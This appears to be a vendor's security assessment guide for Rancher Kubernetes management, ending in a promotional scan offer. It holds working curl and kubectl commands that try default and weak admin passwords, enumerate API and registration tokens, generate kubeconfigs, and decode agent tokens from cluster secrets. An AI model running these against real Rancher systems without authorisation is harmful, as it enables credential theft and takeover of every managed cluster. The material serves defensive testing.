Rancher is a multi-cluster Kubernetes management platform that provides a centralized control plane for managing multiple downstream clusters. A compromise of Rancher means simultaneous access to every cluster it manages — cluster registration tokens allow importing clusters, Rancher's agent running in each downstream cluster has privileged access to that cluster's API server, and the Rancher API exposes kubeconfig generation for all managed clusters. This guide covers systematic Rancher security assessment from both external and internal perspectives.
# Rancher defaults to admin/admin on fresh install (changed on first login prompt)
# Some deployments skip the change or use predictable passwords
# Test default login
curl -s -X POST https://rancher.example.com/v3-public/localProviders/local?action=login \
-H "Content-Type: application/json" \
-d '{"username":"admin","password":"admin","responseType":"cookie"}' \
-c /tmp/rancher-cookies.txt | python3 -c "
import json,sys
r = json.load(sys.stdin)
if 'token' in r:
print('[CRITICAL] Default credentials work!')
print('Token:', r['token'][:20]+'...')
elif r.get('type') == 'error':
print('Auth failed:', r.get('message',''))
"
# Test common weak passwords
for pw in admin admin123 rancher Rancher1 password123; do
result=$(curl -s -X POST https://rancher.example.com/v3-public/localProviders/local?action=login \
-H "Content-Type: application/json" \
-d "{\"username\":\"admin\",\"password\":\"$pw\",\"responseType\":\"cookie\"}")
if echo "$result" | python3 -c "import json,sys; r=json.load(sys.stdin); exit(0 if 'token' in r else 1)" 2>/dev/null; then
echo "[HIT] Password: $pw"
fi
done
# Check Rancher version (aids CVE research)
curl -s https://rancher.example.com/v3 -H "Authorization: Bearer TOKEN" | python3 -c "
import json,sys
r = json.load(sys.stdin)
print('Rancher version:', r.get('rancherVersion','?'))
"
# Rancher API tokens are long-lived by default (no expiry)
# List all tokens (requires admin or account owner)
# Enumerate API tokens
curl -s https://rancher.example.com/v3/tokens \
-H "Authorization: Bearer TOKEN" | python3 -c "
import json,sys
r = json.load(sys.stdin)
for t in r.get('data',[]):
print(f\"Token: {t['id']}\")
print(f\" User: {t.get('userId','?')}\")
print(f\" Last used: {t.get('lastUsedAt','never')}\")
print(f\" Expires: {t.get('expiresAt','never — no expiry set')}\")
print(f\" Description: {t.get('description','?')}\")
"
# Check for tokens with no expiry (common for CI/CD service accounts)
curl -s https://rancher.example.com/v3/tokens \
-H "Authorization: Bearer TOKEN" | python3 -c "
import json,sys
r = json.load(sys.stdin)
for t in r.get('data',[]):
if not t.get('expiresAt'):
print(f\"[!] No expiry: {t['id']} user={t.get('userId','?')} desc={t.get('description','?')}\")
"
# Generate a kubeconfig for a managed cluster via Rancher API
CLUSTER_ID=c-xxxxx
curl -s -X POST https://rancher.example.com/v3/clusters/$CLUSTER_ID?action=generateKubeconfig \
-H "Authorization: Bearer TOKEN" | python3 -c "
import json,sys
r = json.load(sys.stdin)
print(r.get('config','')[:200])
"
# Contains a kubeconfig with full cluster access for the requesting user's permissions
# Rancher generates cluster registration tokens to import new clusters
# These tokens, if exposed, allow an attacker to register a fake cluster
# or capture the agent token used by an existing cluster
# List cluster registration tokens
curl -s https://rancher.example.com/v3/clusterregistrationtokens \
-H "Authorization: Bearer TOKEN" | python3 -c "
import json,sys
r = json.load(sys.stdin)
for t in r.get('data',[]):
print(f\"Registration token: {t['id']}\")
print(f\" Cluster: {t.get('clusterId','?')}\")
print(f\" Expires: {t.get('expiresAt','never')}\")
print(f\" Command: {t.get('command','?')[:80]}\")
print(f\" Token: {t.get('token','?')[:20]}...\")
"
# Test: use a registration token to register an attacker-controlled cluster
# The registration command contains a token like: cattle.io/token:SECRET
# If this token has no expiry and appears in CI logs or GitHub Actions outputs,
# attacker can import a malicious cluster and gain a foothold in Rancher management plane
# Check for token exposure in accessible locations:
# 1. GitHub Actions logs (search for 'cattle.io' or 'clusterregistrationtoken')
# 2. Kubernetes secrets in cattle-system namespace of managed clusters
kubectl get secret -n cattle-system -l cattle.io/creator=norman 2>/dev/null | head -10
# Extract cattle agent token from managed cluster
kubectl get secret -n cattle-system -o json 2>/dev/null | python3 -c "
import json,sys,base64
secrets = json.load(sys.stdin)['items']
for s in secrets:
data = s.get('data',{})
if 'token' in data:
print(f\"{s['metadata']['name']}: token={base64.b64decode(data['token']).decode()[:30]}...\")
"
# Rancher adds a project layer on top of Kubernetes namespaces
# Projects group namespaces and apply RBAC across them
# Test whether project-level RBAC properly isolates between teams
# List Rancher projects in a cluster
curl -s "https://rancher.example.com/v3/projects?clusterId=c-xxxxx" \
-H "Authorization: Bearer TOKEN" | python3 -c "
import json,sys
r = json.load(sys.stdin)
for p in r.get('data',[]):
print(f\"Project: {p['id']} name={p['name']}\")
print(f\" Namespaces: {[n for n in p.get('metadata',{}).get('annotations',{}).values()]}\")
"
# Test: can a user in project A access namespaces in project B?
# Rancher maps project membership to Kubernetes RBAC
# If a namespace is moved between projects without updating RBAC, access may persist
# Check if a user's kubeconfig generated by Rancher allows access to other projects
kubectl get pods --all-namespaces \
--kubeconfig /tmp/rancher-generated-kubeconfig 2>/dev/null | head -20
# Should only show namespaces in the user's project
# Test: namespace escape via direct Kubernetes API (bypassing Rancher proxy)
# If downstream cluster API server is accessible directly (not only through Rancher):
kubectl get namespaces --server=https://DOWNSTREAM-CLUSTER-API 2>/dev/null
# If accessible: Rancher project isolation is bypassed; direct K8s RBAC applies
--audit-log-path with all verbs captured| Security Test | Method | Risk |
|---|---|---|
| Default admin/admin credentials | POST /v3-public/localProviders/local?action=login | Critical |
| Non-expiring API tokens | GET /v3/tokens — check expiresAt field | High |
| Cluster registration tokens in logs/repos | Search CI logs and Git history for cattle.io | High |
| Downstream cluster API accessible without Rancher proxy | Direct kubectl to downstream cluster API | High |
| Project namespace isolation bypass | Test kubeconfig access across project boundaries | Medium |
| Catalog app deploys to privileged namespaces | Check Rancher Apps for kube-system deployments | Medium |
Ironimo tests Rancher deployments for default credential exposure, API token expiry gaps, cluster registration token lifetime, project RBAC isolation bypass, catalog deployment privilege escalation, and downstream cluster direct access bypass — covering the full Rancher multi-cluster attack surface.
Start free scan